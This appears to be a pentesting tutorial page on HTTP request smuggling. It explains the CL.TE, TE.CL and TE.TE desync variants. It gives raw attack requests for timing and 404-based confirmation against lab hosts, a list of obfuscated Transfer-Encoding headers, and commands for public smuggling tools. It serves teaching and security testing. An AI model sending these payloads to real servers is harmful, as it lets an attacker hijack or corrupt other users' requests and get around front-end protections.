HTTP Request Smuggling

HTTP Request Smuggling / HTTP Desync Attack

This vulnerability occurs when a desyncronization between front-end proxies and the back-end server allows an attacker to send an HTTP request that will be interpreted as a single request by the front-end proxies (load balance/reverse-proxy) and as 2 request by the back-end server. This allows a user to modify the next request that arrives to the back-end server after his.

Tools

Burp extension : HTTP Request Smuggler

Particularities

Remember that in HTTP a new line character is composed by 2 bytes:

  • Content-Length: This header uses a decimal number to indicate the number of bytes of the body of the request. The body is expected to end in the last character, a new line is not needed in the end of the request.

POST /search HTTP/1.1
Host: normal-website.com
Content-Length: 11

q=smuggling
  • Transfer-Encoding: This header uses in the body an hexadecimal number to indicate the number of bytes of the next chunk. The chunk must end with a new line but this new line isn't counted by the length indicator. This transfer method must end with a chunk of size 0 followed by 2 new lines: 0

POST /search HTTP/1.1
Host: normal-website.com
Transfer-Encoding: chunked

b
q=smuggling
0

Basic Examples

So, request smuggling attacks involve placing both the Content-Length header and the Transfer-Encoding header into a single HTTP request and manipulating these so that the front-end and back-end servers process the request differently. The exact way in which this is done depends on the behaviour of the two servers:

  • CL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.

  • TE.CL: the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.

  • TE.TE: the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.

Finding CL.TE vulnerabilities using timing techniques

If an application is vulnerable to the CL.TE variant of request smuggling, then sending a request like the following will often cause a time delay:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

Since the front-end server uses the Content-Length header, it will forward only part of this request, omitting the X. The back-end server uses the Transfer-Encoding header, processes the first chunk, and then waits for the next chunk to arrive. This will cause an observable time delay.

Confirming CL.TE vulnerabilities using differential responses

To confirm a CL.TE vulnerability, you would send an attack request like this:

POST / HTTP/1.1
Host: 0a8800c0041f7c95c0464fab002b003b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X

If the attack is successful, then the last two lines of this request are treated by the back-end server as belonging to the next request that is received.

Since the next request now contains an invalid URL, the server will respond with status code 404, indicating that the attack request did indeed interfere with it.

Finding TE.CL vulnerabilities using timing techniques

If an application is vulnerable to the TE.CL variant of request smuggling, then sending a request like the following will often cause a time delay:

POST / HTTP/1.1
Host: 0a02003004e09b8dc0e6545e00f500fd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 6

0

X

Since the front-end server uses the Transfer-Encoding header, it will forward only part of this request, omitting the X. The back-end server uses the Content-Length header, expects more content in the message body, and waits for the remaining content to arrive. This will cause an observable time delay.

Confirming TE.CL vulnerabilities using differential responses

To confirm a TE.CL vulnerability, you would send an attack request like this:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.

You need to include the trailing sequence \r\n\r\n following the final 0.

If the attack is successful, then everything from POST /404 onwards is treated by the back-end server as belonging to the next request that is received.

Since the next request now contains an invalid URL, the server will respond with status code 404, indicating that the attack request did indeed interfere with it.

TE.TE behavior: obfuscating the TE header

The front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

Tools

# https://github.com/defparam/smuggler
python3 smuggler.py -u <URL>
# https://github.com/defparam/tiscripts

# https://github.com/anshumanpattnaik/http-request-smuggling/
python3 smuggle.py -u <URL>

# https://github.com/assetnote/h2csmuggler
go run ./cmd/h2csmuggler check https://google.com/ http://localhost


# HTTP/2
# https://github.com/BishopFox/h2csmuggler

Last updated